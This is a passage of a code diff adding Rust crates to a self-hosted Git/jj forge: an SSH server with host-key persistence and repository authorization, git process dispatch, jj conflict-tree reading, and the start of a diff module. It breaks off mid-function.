| 394 | + | // A host key change looks like an attack to every client, so it is | |
| 395 | + | // generated once and persisted on a volume. | |
| 396 | + | keys: vec![host_key], | |
| 397 | + | auth_rejection_time: std::time::Duration::from_secs(1), | |
| 398 | + | auth_rejection_time_initial: Some(std::time::Duration::from_secs(0)), | |
| 399 | + | inactivity_timeout: Some(INACTIVITY_TIMEOUT), | |
| 400 | + | // A client that connects and never authenticates is holding a slot for | |
| 401 | + | // nothing. russh applies `Limits::rekey_time_limit` to the whole | |
| 402 | + | // pre-auth phase, so this is where the auth deadline lives. | |
| 403 | + | limits: russh::Limits { | |
| 404 | + | rekey_time_limit: AUTH_TIMEOUT, | |
| 405 | + | ..Default::default() | |
| 406 | + | }, | |
| 407 | + | methods: publickey_only(), | |
| 408 | + | ..Default::default() | |
| 409 | + | }; | |
| 410 | + | ||
| 411 | + | let mut server = Server { | |
| 412 | + | limits: limits::ConnectionLimits::new(), | |
| 413 | + | db, | |
| 414 | + | repo_root, | |
| 415 | + | database_url, | |
| 416 | + | hook_binary, | |
| 417 | + | }; | |
| 418 | + | ||
| 419 | + | tracing::info!("dogfood-ssh listening on {bind}"); | |
| 420 | + | server | |
| 421 | + | .run_on_address(Arc::new(config), &bind) | |
| 422 | + | .await | |
| 423 | + | .context("ssh server error")?; | |
| 424 | + | ||
| 425 | + | Ok(()) | |
| 426 | + | } | |
| 427 | + | ||
| 428 | + | /// Load the host key, generating one on first boot. | |
| 429 | + | fn load_or_create_host_key(path: &str) -> Result<russh::keys::PrivateKey> { | |
| 430 | + | let p = std::path::Path::new(path); | |
| 431 | + | ||
| 432 | + | if p.exists() { | |
| 433 | + | let data = std::fs::read_to_string(p) | |
| 434 | + | .with_context(|| format!("reading host key {path}"))?; | |
| 435 | + | let key = russh::keys::PrivateKey::from_openssh(&data) | |
| 436 | + | .with_context(|| format!("parsing host key {path}"))?; | |
| 437 | + | tracing::info!("loaded ssh host key from {path}"); | |
| 438 | + | return Ok(key); | |
| 439 | + | } | |
| 440 | + | ||
| 441 | + | tracing::warn!("no ssh host key at {path}; generating one"); | |
| 442 | + | let key = russh::keys::PrivateKey::random( | |
| 443 | + | &mut rand::thread_rng(), | |
| 444 | + | russh::keys::Algorithm::Ed25519, | |
| 445 | + | ) | |
| 446 | + | .context("generating host key")?; | |
| 447 | + | ||
| 448 | + | if let Some(parent) = p.parent() { | |
| 449 | + | std::fs::create_dir_all(parent).ok(); | |
| 450 | + | } | |
| 451 | + | let pem = key | |
| 452 | + | .to_openssh(russh::keys::ssh_key::LineEnding::LF) | |
| 453 | + | .context("serialising host key")?; | |
| 454 | + | std::fs::write(p, pem.as_bytes()).with_context(|| format!("writing host key {path}"))?; | |
| 455 | + | ||
| 456 | + | #[cfg(unix)] | |
| 457 | + | { | |
| 458 | + | use std::os::unix::fs::PermissionsExt; | |
| 459 | + | let _ = std::fs::set_permissions(p, std::fs::Permissions::from_mode(0o600)); | |
| 460 | + | } | |
| 461 | + | ||
| 462 | + | tracing::info!("generated a new ssh host key at {path}"); | |
| 463 | + | Ok(key) | |
| 464 | + | } | |
| 465 | + | ||
| 466 | + | fn init_tracing() { | |
| 467 | + | use tracing_subscriber::{layer::SubscriberExt, util::SubscriberInitExt, EnvFilter}; | |
| 468 | + | let filter = | |
| 469 | + | EnvFilter::try_from_default_env().unwrap_or_else(|_| EnvFilter::new("info,df_ssh=debug")); | |
| 470 | + | let json = !std::io::IsTerminal::is_terminal(&std::io::stdout()); | |
| 471 | + | let registry = tracing_subscriber::registry().with(filter); | |
| 472 | + | if json { | |
| 473 | + | registry.with(tracing_subscriber::fmt::layer().json()).init(); | |
| 474 | + | } else { | |
| 475 | + | registry.with(tracing_subscriber::fmt::layer()).init(); | |
| 476 | + | } | |
| 477 | + | } | |
Acrates/df-ssh/src/repo.rs+239−0
| @@ −0,0 +1,239 @@ | |||
| 1 | + | //! Repository resolution, authorization, and git dispatch for SSH. | |
| 2 | + | ||
| 3 | + | use std::path::{Path, PathBuf}; | |
| 4 | + | use std::process::Stdio; | |
| 5 | + | ||
| 6 | + | use anyhow::Result; | |
| 7 | + | use df_auth::permissions::{self, AccessInputs, Viewer}; | |
| 8 | + | use df_db::models::{OrgRole, RepoRole, Visibility}; | |
| 9 | + | use russh::server::Session; | |
| 10 | + | use russh::ChannelId; | |
| 11 | + | use sqlx::PgPool; | |
| 12 | + | use tokio::io::AsyncReadExt; | |
| 13 | + | use uuid::Uuid; | |
| 14 | + | ||
| 15 | + | use crate::exec::Service; | |
| 16 | + | ||
| 17 | + | pub struct Resolved { | |
| 18 | + | pub repo_id: Uuid, | |
| 19 | + | pub can_push: bool, | |
| 20 | + | /// Whether the repository is archived. Distinguished from `can_push` so the | |
| 21 | + | /// client can be told *why* a push was refused. | |
| 22 | + | pub archived: bool, | |
| 23 | + | } | |
| 24 | + | ||
| 25 | + | /// Resolve `owner/repo` and authorize the connected user. | |
| 26 | + | /// | |
| 27 | + | /// Returns `Ok(None)` when the repository does not exist *or* the user may not | |
| 28 | + | /// see it — the caller must not distinguish the two (spec §9). | |
| 29 | + | pub async fn authorize( | |
| 30 | + | db: &PgPool, | |
| 31 | + | owner: &str, | |
| 32 | + | name: &str, | |
| 33 | + | user_id: Uuid, | |
| 34 | + | _write: bool, | |
| 35 | + | ) -> Result<Option<Resolved>> { | |
| 36 | + | type Row = ( | |
| 37 | + | Uuid, | |
| 38 | + | Visibility, | |
| 39 | + | Option<Uuid>, | |
| 40 | + | Option<RepoRole>, | |
| 41 | + | Option<OrgRole>, | |
| 42 | + | bool, | |
| 43 | + | bool, | |
| 44 | + | ); | |
| 45 | + | let row: Option<Row> = | |
| 46 | + | sqlx::query_as( | |
| 47 | + | r#" | |
| 48 | + | SELECT r.id, r.visibility, r.owner_user_id, | |
| 49 | + | c.role AS collaborator_role, | |
| 50 | + | m.role AS org_role, | |
| 51 | + | COALESCE(u.is_admin, false), | |
| 52 | + | r.archived | |
| 53 | + | FROM repos r | |
| 54 | + | LEFT JOIN users ou ON ou.id = r.owner_user_id | |
| 55 | + | LEFT JOIN orgs og ON og.id = r.owner_org_id | |
| 56 | + | LEFT JOIN repo_collaborators c ON c.repo_id = r.id AND c.user_id = $3 | |
| 57 | + | LEFT JOIN org_members m ON m.org_id = r.owner_org_id AND m.user_id = $3 | |
| 58 | + | LEFT JOIN users u ON u.id = $3 | |
| 59 | + | WHERE COALESCE(ou.handle, og.handle) = $1 AND r.name = $2 | |
| 60 | + | "#, | |
| 61 | + | ) | |
| 62 | + | .bind(owner) | |
| 63 | + | .bind(name) | |
| 64 | + | .bind(user_id) | |
| 65 | + | .fetch_optional(db) | |
| 66 | + | .await?; | |
| 67 | + | ||
| 68 | + | let Some((repo_id, visibility, owner_user_id, collab, org, is_admin, archived)) = row else { | |
| 69 | + | return Ok(None); | |
| 70 | + | }; | |
| 71 | + | ||
| 72 | + | // The same resolver the web uses — one implementation, so SSH and HTTP | |
| 73 | + | // cannot disagree about who may do what (spec §6). | |
| 74 | + | let access = permissions::resolve(AccessInputs { | |
| 75 | + | visibility, | |
| 76 | + | viewer: Some(Viewer { | |
| 77 | + | user_id, | |
| 78 | + | is_site_admin: is_admin, | |
| 79 | + | }), | |
| 80 | + | owner_user_id, | |
| 81 | + | collaborator_role: collab, | |
| 82 | + | org_role: org, | |
| 83 | + | }); | |
| 84 | + | ||
| 85 | + | if !access.can_read() { | |
| 86 | + | return Ok(None); | |
| 87 | + | } | |
| 88 | + | ||
| 89 | + | Ok(Some(Resolved { | |
| 90 | + | repo_id, | |
| 91 | + | // An archived repository is read-only, on every transport. The settings | |
| 92 | + | // page promises this, so it cannot be enforced only in the web UI. | |
| 93 | + | can_push: access.can_push() && !archived, | |
| 94 | + | archived, | |
| 95 | + | })) | |
| 96 | + | } | |
| 97 | + | ||
| 98 | + | /// Sharded path, identical to `GitStore::repo_path`. | |
| 99 | + | pub fn repo_path(root: &str, id: Uuid) -> PathBuf { | |
| 100 | + | let hex = id.simple().to_string(); | |
| 101 | + | Path::new(root).join(&hex[..2]).join(format!("{hex}.git")) | |
| 102 | + | } | |
| 103 | + | ||
| 104 | + | /// Spawn git, stream its output over the SSH channel, and return its stdin. | |
| 105 | + | /// | |
| 106 | + | /// The caller keeps the returned stdin and feeds it every `data` frame the | |
| 107 | + | /// client sends, closing it on EOF. Without that the child blocks forever | |
| 108 | + | /// waiting for the pack — git's stdio is a two-way conversation, not a | |
| 109 | + | /// request/response. | |
| 110 | + | #[allow(clippy::too_many_arguments)] | |
| 111 | + | pub async fn run_git( | |
| 112 | + | session: &mut Session, | |
| 113 | + | channel: ChannelId, | |
| 114 | + | service: Service, | |
| 115 | + | dir: &Path, | |
| 116 | + | database_url: &str, | |
| 117 | + | hook_binary: &str, | |
| 118 | + | repo_id: Uuid, | |
| 119 | + | user_id: Uuid, | |
| 120 | + | ) -> Result<tokio::process::ChildStdin> { | |
| 121 | + | let mut cmd = tokio::process::Command::new("git"); | |
| 122 | + | cmd.arg(service.git_subcommand()) | |
| 123 | + | .arg(".") | |
| 124 | + | .current_dir(dir) | |
| 125 | + | .stdin(Stdio::piped()) | |
| 126 | + | .stdout(Stdio::piped()) | |
| 127 | + | .stderr(Stdio::piped()) | |
| 128 | + | // A clean environment: nothing from the connection leaks into git, and | |
| 129 | + | // the repository's own config cannot redirect what we run. | |
| 130 | + | .env_clear() | |
| 131 | + | .env("PATH", "/usr/bin:/bin:/usr/local/bin") | |
| 132 | + | .env("HOME", "/nonexistent") | |
| 133 | + | .env("GIT_CONFIG_NOSYSTEM", "1") | |
| 134 | + | .env("GIT_TERMINAL_PROMPT", "0") | |
| 135 | + | // Consumed by the pre-receive hook. | |
| 136 | + | .env("DOGFOOD_REPO_ID", repo_id.to_string()) | |
| 137 | + | .env("DOGFOOD_PUSHER_ID", user_id.to_string()) | |
| 138 | + | .env("DOGFOOD_HOOK_BINARY", hook_binary) | |
| 139 | + | .env("DATABASE_URL", database_url) | |
| 140 | + | // The check is mandatory: a hook that cannot verify protection must | |
| 141 | + | // refuse the push rather than wave it through. | |
| 142 | + | .env("DOGFOOD_ENFORCE", "1"); | |
| 143 | + | ||
| 144 | + | let mut child = cmd.spawn()?; | |
| 145 | + | ||
| 146 | + | let stdin = child.stdin.take().expect("piped"); | |
| 147 | + | let mut stdout = child.stdout.take().expect("piped"); | |
| 148 | + | let mut stderr = child.stderr.take().expect("piped"); | |
| 149 | + | ||
| 150 | + | let handle = session.handle(); | |
| 151 | + | ||
| 152 | + | let out_task = { | |
| 153 | + | let handle = handle.clone(); | |
| 154 | + | tokio::spawn(async move { | |
| 155 | + | let mut buf = vec![0u8; 32 * 1024]; | |
| 156 | + | loop { | |
| 157 | + | match stdout.read(&mut buf).await { | |
| 158 | + | Ok(0) | Err(_) => break, | |
| 159 | + | Ok(n) => { | |
| 160 | + | if handle.data(channel, buf[..n].to_vec().into()).await.is_err() { | |
| 161 | + | break; | |
| 162 | + | } | |
| 163 | + | } | |
| 164 | + | } | |
| 165 | + | } | |
| 166 | + | }) | |
| 167 | + | }; | |
| 168 | + | ||
| 169 | + | let err_task = { | |
| 170 | + | let handle = handle.clone(); | |
| 171 | + | tokio::spawn(async move { | |
| 172 | + | let mut buf = vec![0u8; 8 * 1024]; | |
| 173 | + | loop { | |
| 174 | + | match stderr.read(&mut buf).await { | |
| 175 | + | Ok(0) | Err(_) => break, | |
| 176 | + | Ok(n) => { | |
| 177 | + | // Stream 1 is stderr; this is where the pre-receive | |
| 178 | + | // hook's rejection messages reach the user. | |
| 179 | + | if handle | |
| 180 | + | .extended_data(channel, 1, buf[..n].to_vec().into()) | |
| 181 | + | .await | |
| 182 | + | .is_err() | |
| 183 | + | { | |
| 184 | + | break; | |
| 185 | + | } | |
| 186 | + | } | |
| 187 | + | } | |
| 188 | + | } | |
| 189 | + | }) | |
| 190 | + | }; | |
| 191 | + | ||
| 192 | + | // Reap the child and close the channel once it exits. This runs detached so | |
| 193 | + | // `exec_request` can return and the handler can keep delivering client data | |
| 194 | + | // to the stdin we hand back. | |
| 195 | + | tokio::spawn(async move { | |
| 196 | + | let status = match child.wait().await { | |
| 197 | + | Ok(s) => s, | |
| 198 | + | Err(e) => { | |
| 199 | + | tracing::error!("waiting for git failed: {e}"); | |
| 200 | + | let _ = handle.close(channel).await; | |
| 201 | + | return; | |
| 202 | + | } | |
| 203 | + | }; | |
| 204 | + | let _ = out_task.await; | |
| 205 | + | let _ = err_task.await; | |
| 206 | + | ||
| 207 | + | let code = status.code().unwrap_or(1) as u32; | |
| 208 | + | let _ = handle.exit_status_request(channel, code).await; | |
| 209 | + | let _ = handle.eof(channel).await; | |
| 210 | + | let _ = handle.close(channel).await; | |
| 211 | + | }); | |
| 212 | + | ||
| 213 | + | Ok(stdin) | |
| 214 | + | } | |
| 215 | + | ||
| 216 | + | #[cfg(test)] | |
| 217 | + | mod tests { | |
| 218 | + | use super::*; | |
| 219 | + | ||
| 220 | + | #[test] | |
| 221 | + | fn repo_paths_match_the_store_layout() { | |
| 222 | + | // These two must never diverge, or SSH serves a different directory | |
| 223 | + | // than the web does. | |
| 224 | + | let id = Uuid::parse_str("0191f0aa-1234-7abc-8def-0123456789ab").unwrap(); | |
| 225 | + | assert_eq!( | |
| 226 | + | repo_path("/srv/repos", id), | |
| 227 | + | PathBuf::from("/srv/repos/01/0191f0aa12347abc8def0123456789ab.git") | |
| 228 | + | ); | |
| 229 | + | } | |
| 230 | + | ||
| 231 | + | #[test] | |
| 232 | + | fn repo_paths_never_escape_the_root() { | |
| 233 | + | for _ in 0..50 { | |
| 234 | + | let p = repo_path("/srv/repos", Uuid::now_v7()); | |
| 235 | + | assert!(p.starts_with("/srv/repos")); | |
| 236 | + | assert!(!p.to_string_lossy().contains("..")); | |
| 237 | + | } | |
| 238 | + | } | |
| 239 | + | } | |
Acrates/df-store/Cargo.toml+29−0
| @@ −0,0 +1,29 @@ | |||
| 1 | + | [package] | |
| 2 | + | name = "df-store" | |
| 3 | + | version.workspace = true | |
| 4 | + | edition.workspace = true | |
| 5 | + | rust-version.workspace = true | |
| 6 | + | license.workspace = true | |
| 7 | + | ||
| 8 | + | [dependencies] | |
| 9 | + | # df-index owns the jj metadata format; this crate does not duplicate that | |
| 10 | + | # parser. Note the dependency direction: df-index has no Git dependency, so | |
| 11 | + | # `gix` still stops here. | |
| 12 | + | df-index = { path = "../df-index" } | |
| 13 | + | ||
| 14 | + | anyhow.workspace = true | |
| 15 | + | async-trait.workspace = true | |
| 16 | + | chrono.workspace = true | |
| 17 | + | # CONSTRAINT (spec §3 rule 1): this is the ONLY crate permitted to depend on | |
| 18 | + | # `gix`. Enforced by scripts/check-store-boundary.sh in CI. | |
| 19 | + | gix.workspace = true | |
| 20 | + | lru.workspace = true | |
| 21 | + | similar.workspace = true | |
| 22 | + | thiserror.workspace = true | |
| 23 | + | tokio.workspace = true | |
| 24 | + | tracing.workspace = true | |
| 25 | + | uuid.workspace = true | |
| 26 | + | ||
| 27 | + | [dev-dependencies] | |
| 28 | + | tempfile = "3" | |
| 29 | + | serde_json.workspace = true | |
Acrates/df-store/src/git/conflicts.rs+173−0
| @@ −0,0 +1,173 @@ | |||
| 1 | + | //! Reading a conflicted revision's sides (spec §4). | |
| 2 | + | //! | |
| 3 | + | //! > jj represents a conflicted state in the Git backend as a specially | |
| 4 | + | //! > structured tree. Detect that structure in the indexer and set | |
| 5 | + | //! > `revisions.conflicted`. Store the conflict sides so the conflict viewer can | |
| 6 | + | //! > render them without re-walking objects on every request. | |
| 7 | + | //! | |
| 8 | + | //! jj's conflict representation is an alternating list of trees carried in the | |
| 9 | + | //! commit's `jj:trees` header: `side₀ base₀ side₁ base₁ … sideₙ`, always one | |
| 10 | + | //! more side than base. The materialised value of a conflicted file is | |
| 11 | + | //! `side₀ - base₀ + side₁ - base₁ + …`; a path is in conflict exactly when it is | |
| 12 | + | //! not the same in every one of those trees. | |
| 13 | + | //! | |
| 14 | + | //! This module resolves that into plain strings so the conflict viewer never | |
| 15 | + | //! sees a tree id. v1 shows conflicts **read-only** — resolution happens in the | |
| 16 | + | //! user's working copy (spec §4), so nothing here writes. | |
| 17 | + | ||
| 18 | + | use std::collections::BTreeSet; | |
| 19 | + | ||
| 20 | + | use crate::{ConflictSide, ConflictedFile, Result, RevId, StoreError}; | |
| 21 | + | ||
| 22 | + | /// Never materialise more conflicted files than this into one page. | |
| 23 | + | /// | |
| 24 | + | /// A repository-wide conflict is possible (a rebase across a moved directory) | |
| 25 | + | /// and rendering ten thousand files would take the process down, which spec §8 | |
| 26 | + | /// says a pathological input must never do. | |
| 27 | + | const MAX_CONFLICTED_FILES: usize = 200; | |
| 28 | + | ||
| 29 | + | /// Per-side content cap. Conflict sides are shown inline; a large one is | |
| 30 | + | /// reported by size rather than rendered. | |
| 31 | + | const MAX_SIDE_BYTES: usize = 512 * 1024; | |
| 32 | + | ||
| 33 | + | /// Read every conflicted path in `rev`. | |
| 34 | + | /// | |
| 35 | + | /// Returns an empty vector for an unconflicted revision rather than an error — | |
| 36 | + | /// "is it conflicted" is answered by [`crate::Revision::conflicted`], and a | |
| 37 | + | /// caller asking for the detail of a clean revision is asking a reasonable | |
| 38 | + | /// question with a boring answer. | |
| 39 | + | pub fn read(repo: &gix::Repository, rev: &RevId) -> Result<Vec<ConflictedFile>> { | |
| 40 | + | let commit = super::convert::find_commit(repo, rev)?; | |
| 41 | + | ||
| 42 | + | let Some(trees) = df_index::extract_conflict_trees(commit.data.as_ref()) else { | |
| 43 | + | return Ok(Vec::new()); | |
| 44 | + | }; | |
| 45 | + | ||
| 46 | + | // Sides and bases interleaved back into the order jj records them, tagged so | |
| 47 | + | // the viewer can label each column. The alternating order is what makes | |
| 48 | + | // "side 1 / base 1 / side 2" read correctly in the UI. | |
| 49 | + | let mut columns: Vec<(ConflictSide, String)> = Vec::new(); | |
| 50 | + | let mut sides = trees.sides.into_iter(); | |
| 51 | + | let mut bases = trees.bases.into_iter(); | |
| 52 | + | let mut n = 0usize; | |
| 53 | + | loop { | |
| 54 | + | match sides.next() { | |
| 55 | + | Some(s) => { | |
| 56 | + | columns.push((ConflictSide::Side(n), s)); | |
| 57 | + | n += 1; | |
| 58 | + | } | |
| 59 | + | None => break, | |
| 60 | + | } | |
| 61 | + | if let Some(b) = bases.next() { | |
| 62 | + | columns.push((ConflictSide::Base(n - 1), b)); | |
| 63 | + | } | |
| 64 | + | } | |
| 65 | + | ||
| 66 | + | // Load every tree once. A conflict with three sides walks three trees, not | |
| 67 | + | // three trees per file. | |
| 68 | + | let loaded: Vec<(ConflictSide, gix::Tree<'_>)> = columns | |
| 69 | + | .iter() | |
| 70 | + | .filter_map(|(label, id)| { | |
| 71 | + | let oid = gix::ObjectId::from_hex(id.as_bytes()).ok()?; | |
| 72 | + | let tree = repo.find_object(oid).ok()?.try_into_tree().ok()?; | |
| 73 | + | Some((*label, tree)) | |
| 74 | + | }) | |
| 75 | + | .collect(); | |
| 76 | + | ||
| 77 | + | if loaded.len() != columns.len() { | |
| 78 | + | // A tree named by the header is missing from the object database. That | |
| 79 | + | // is real corruption, and inventing a partial conflict view from what | |
| 80 | + | // remains would misrepresent it. | |
| 81 | + | return Err(StoreError::Other(anyhow::anyhow!( | |
| 82 | + | "conflicted revision {rev} names a tree that is not in the repository" | |
| 83 | + | ))); | |
| 84 | + | } | |
| 85 | + | ||
| 86 | + | // Every path present in any column, with the blob it resolves to there. | |
| 87 | + | let mut per_column: Vec<std::collections::BTreeMap<String, gix::ObjectId>> = Vec::new(); | |
| 88 | + | for (_, tree) in &loaded { | |
| 89 | + | per_column.push(flatten(tree)?); | |
| 90 | + | } | |
| 91 | + | ||
| 92 | + | let mut paths: BTreeSet<String> = BTreeSet::new(); | |
| 93 | + | for m in &per_column { | |
| 94 | + | paths.extend(m.keys().cloned()); | |
| 95 | + | } | |
| 96 | + | ||
| 97 | + | let mut out = Vec::new(); | |
| 98 | + | for path in paths { | |
| 99 | + | // A path is in conflict only where the columns disagree. jj's conflict | |
| 100 | + | // trees carry the *whole* tree, not just the conflicted files, so | |
| 101 | + | // without this check every file in the repository would be reported. | |
| 102 | + | let first = per_column[0].get(&path); | |
| 103 | + | if per_column.iter().all(|m| m.get(&path) == first) { | |
| 104 | + | continue; | |
| 105 | + | } | |
| 106 | + | ||
| 107 | + | if out.len() >= MAX_CONFLICTED_FILES { | |
| 108 | + | break; | |
| 109 | + | } | |
| 110 | + | ||
| 111 | + | let mut sides = Vec::new(); | |
| 112 | + | for (i, (label, _)) in loaded.iter().enumerate() { | |
| 113 | + | let content = match per_column[i].get(&path) { | |
| 114 | + | None => None, // this side deleted the file | |
| 115 | + | Some(oid) => Some(read_blob_text(repo, *oid)), | |
| 116 | + | }; | |
| 117 | + | sides.push((*label, content)); | |
| 118 | + | } | |
| 119 | + | ||
| 120 | + | out.push(ConflictedFile { path, sides }); | |
| 121 | + | } | |
| 122 | + | ||
| 123 | + | Ok(out) | |
| 124 | + | } | |
| 125 | + | ||
| 126 | + | /// Every blob in a tree, keyed by full path. | |
| 127 | + | /// | |
| 128 | + | /// Recursive, and deliberately skips jj's own conflict bookkeeping entries: | |
| 129 | + | /// `.jjconflict-*` is storage detail and must never surface as a file (spec §4). | |
| 130 | + | fn flatten(tree: &gix::Tree<'_>) -> Result<std::collections::BTreeMap<String, gix::ObjectId>> { | |
| 131 | + | use gix::traverse::tree::Recorder; | |
| 132 | + | ||
| 133 | + | let mut recorder = Recorder::default(); | |
| 134 | + | tree.traverse() | |
| 135 | + | .breadthfirst(&mut recorder) | |
| 136 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("walking conflict tree: {e}")))?; | |
| 137 | + | ||
| 138 | + | let mut out = std::collections::BTreeMap::new(); | |
| 139 | + | for entry in recorder.records { | |
| 140 | + | if !entry.mode.is_blob_or_symlink() { | |
| 141 | + | continue; | |
| 142 | + | } | |
| 143 | + | let path = entry.filepath.to_string(); | |
| 144 | + | if path | |
| 145 | + | .split('/') | |
| 146 | + | .any(df_index::is_conflict_artifact) | |
| 147 | + | { | |
| 148 | + | continue; | |
| 149 | + | } | |
| 150 | + | out.insert(path, entry.oid); | |
| 151 | + | } | |
| 152 | + | Ok(out) | |
| 153 | + | } | |
| 154 | + | ||
| 155 | + | /// A side's content, as text. | |
| 156 | + | /// | |
| 157 | + | /// Binary and oversized sides come back as a description rather than bytes: the | |
| 158 | + | /// conflict viewer is a text view, and pushing a megabyte of binary into a | |
| 159 | + | /// `<pre>` helps nobody. | |
| 160 | + | fn read_blob_text(repo: &gix::Repository, oid: gix::ObjectId) -> String { | |
| 161 | + | let Ok(obj) = repo.find_object(oid) else { | |
| 162 | + | return String::from("(unreadable)"); | |
| 163 | + | }; | |
| 164 | + | let data = obj.data.as_slice(); | |
| 165 | + | ||
| 166 | + | if data.len() > MAX_SIDE_BYTES { | |
| 167 | + | return format!("({} bytes — too large to show)", data.len()); | |
| 168 | + | } | |
| 169 | + | match std::str::from_utf8(data) { | |
| 170 | + | Ok(s) => s.to_owned(), | |
| 171 | + | Err(_) => format!("(binary, {} bytes)", data.len()), | |
| 172 | + | } | |
| 173 | + | } | |
Acrates/df-store/src/git/convert.rs+89−0
| @@ −0,0 +1,89 @@ | |||
| 1 | + | //! Conversion from `gix` types to `df-store` types. | |
| 2 | + | //! | |
| 3 | + | //! Everything Git-shaped stops here. Callers above the trait see only the | |
| 4 | + | //! plain data structures defined in `lib.rs`. | |
| 5 | + | ||
| 6 | + | use chrono::TimeZone; | |
| 7 | + | ||
| 8 | + | use crate::{EntryKind, Result, RevId, Revision, Signature, StoreError}; | |
| 9 | + | ||
| 10 | + | /// Parse an opaque [`RevId`] back into a Git object id. | |
| 11 | + | /// | |
| 12 | + | /// This is the one place allowed to know that a `RevId` is a Git oid. | |
| 13 | + | pub fn parse_oid(repo: &gix::Repository, rev: &RevId) -> Result<gix::ObjectId> { | |
| 14 | + | repo.rev_parse_single(rev.as_str()) | |
| 15 | + | .map(|id| id.detach()) | |
| 16 | + | .map_err(|_| StoreError::NoSuchRevision) | |
| 17 | + | } | |
| 18 | + | ||
| 19 | + | pub fn find_commit<'r>(repo: &'r gix::Repository, rev: &RevId) -> Result<gix::Commit<'r>> { | |
| 20 | + | let oid = parse_oid(repo, rev)?; | |
| 21 | + | repo.find_object(oid) | |
| 22 | + | .map_err(|_| StoreError::NoSuchRevision)? | |
| 23 | + | .try_into_commit() | |
| 24 | + | .map_err(|_| StoreError::NoSuchRevision) | |
| 25 | + | } | |
| 26 | + | ||
| 27 | + | pub fn entry_kind(mode: gix::object::tree::EntryMode) -> EntryKind { | |
| 28 | + | use gix::object::tree::EntryKind as GixKind; | |
| 29 | + | match mode.kind() { | |
| 30 | + | GixKind::Tree => EntryKind::Directory, | |
| 31 | + | GixKind::Link => EntryKind::Symlink, | |
| 32 | + | GixKind::Commit => EntryKind::Submodule, | |
| 33 | + | GixKind::Blob | GixKind::BlobExecutable => EntryKind::File, | |
| 34 | + | } | |
| 35 | + | } | |
| 36 | + | ||
| 37 | + | /// Convert a `gix` signature into ours. | |
| 38 | + | /// | |
| 39 | + | /// A commit with an unparseable or out-of-range timestamp still has to render — | |
| 40 | + | /// refusing to display history because one commit has a broken date would be | |
| 41 | + | /// worse than showing the epoch. | |
| 42 | + | fn to_signature(sig: gix::actor::SignatureRef<'_>) -> Signature { | |
| 43 | + | // A commit written by a broken tool can carry a timestamp outside chrono's | |
| 44 | + | // range. Falling back to the epoch keeps history renderable rather than | |
| 45 | + | // failing a whole page for one bad date. | |
| 46 | + | let when = chrono::Utc | |
| 47 | + | .timestamp_opt(sig.time.seconds, 0) | |
| 48 | + | .single() | |
| 49 | + | .unwrap_or_else(|| chrono::Utc.timestamp_opt(0, 0).unwrap()); | |
| 50 | + | ||
| 51 | + | Signature { | |
| 52 | + | name: sig.name.to_string(), | |
| 53 | + | email: sig.email.to_string(), | |
| 54 | + | when, | |
| 55 | + | } | |
| 56 | + | } | |
| 57 | + | ||
| 58 | + | /// Build a [`Revision`] from a commit, including jj metadata. | |
| 59 | + | /// | |
| 60 | + | /// The change id and conflict structure are read from the raw commit object by | |
| 61 | + | /// `df-index`, which owns that format knowledge — this crate does not duplicate | |
| 62 | + | /// the parser. | |
| 63 | + | pub fn to_revision(commit: &gix::Commit<'_>) -> Result<Revision> { | |
| 64 | + | let raw = commit.data.as_ref(); | |
| 65 | + | ||
| 66 | + | let change_id = df_index::extract_change_id(raw).map(|c| c.as_str().to_owned()); | |
| 67 | + | let conflict = df_index::extract_conflict_trees(raw); | |
| 68 | + | ||
| 69 | + | let decoded = commit | |
| 70 | + | .decode() | |
| 71 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("decoding commit: {e}")))?; | |
| 72 | + | ||
| 73 | + | let parents = commit | |
| 74 | + | .parent_ids() | |
| 75 | + | .map(|p| RevId::from_stored(p.detach().to_string())) | |
| 76 | + | .collect(); | |
| 77 | + | ||
| 78 | + | Ok(Revision { | |
| 79 | + | rev: RevId::from_stored(commit.id().to_string()), | |
| 80 | + | change_id, | |
| 81 | + | parents, | |
| 82 | + | author: to_signature(decoded.author()), | |
| 83 | + | committer: to_signature(decoded.committer()), | |
| 84 | + | message: decoded.message.to_string(), | |
| 85 | + | conflicted: conflict.is_some(), | |
| 86 | + | conflict_sides: conflict.as_ref().map(|c| c.sides.clone()).unwrap_or_default(), | |
| 87 | + | conflict_bases: conflict.map(|c| c.bases).unwrap_or_default(), | |
| 88 | + | }) | |
| 89 | + | } | |
Acrates/df-store/src/git/diff.rs411 lines+411−0
| @@ −0,0 +1,411 @@ | |||
| 1 | + | //! Diff computation. | |
| 2 | + | //! | |
| 3 | + | //! Spec §8: Myers diff, 3 lines of context, and hard limits — "refuse to render | |
| 4 | + | //! diffs over 5000 files or 100k lines and offer the patch download instead. A | |
| 5 | + | //! pathological diff should degrade, not take the process down." | |
| 6 | + | //! | |
| 7 | + | //! Line-level diffing uses `similar` rather than `gix`'s blob differ so that | |
| 8 | + | //! hunk construction and the intra-line word diff share one implementation. | |
| 9 | + | ||
| 10 | + | use similar::{ChangeTag, TextDiff}; | |
| 11 | + | ||
| 12 | + | use crate::git::convert; | |
| 13 | + | use crate::{ | |
| 14 | + | ChangeKind, Diff, DiffLine, DiffLineKind, DiffOpts, FileDiff, Hunk, Result, RevId, StoreError, | |
| 15 | + | }; | |
| 16 | + | ||
| 17 | + | /// Compute a diff between two revisions. | |
| 18 | + | pub fn compute( | |
| 19 | + | repo: &gix::Repository, | |
| 20 | + | from: &RevId, | |
| 21 | + | to: &RevId, | |
| 22 | + | opts: DiffOpts, | |
| 23 | + | ) -> Result<Diff> { | |
| 24 | + | let from_commit = convert::find_commit(repo, from)?; | |
| 25 | + | let from_tree = from_commit | |
| 26 | + | .tree() | |
| 27 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("reading tree: {e}")))?; | |
| 28 | + | ||
| 29 | + | compute_from_tree(repo, from_tree, to, opts) | |
| 30 | + | } | |
| 31 | + | ||
| 32 | + | /// Diff a revision against its first parent, or an empty tree if it is a root. | |
| 33 | + | pub fn compute_from_parent( | |
| 34 | + | repo: &gix::Repository, | |
| 35 | + | rev: &RevId, | |
| 36 | + | opts: DiffOpts, | |
| 37 | + | ) -> Result<Diff> { | |
| 38 | + | let commit = convert::find_commit(repo, rev)?; | |
| 39 | + | ||
| 40 | + | let base_tree = match commit.parent_ids().next() { | |
| 41 | + | Some(parent) => repo | |
| 42 | + | .find_object(parent.detach()) | |
| 43 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("finding parent: {e}")))? | |
| 44 | + | .try_into_commit() | |
| 45 | + | .map_err(|_| StoreError::NoSuchRevision)? | |
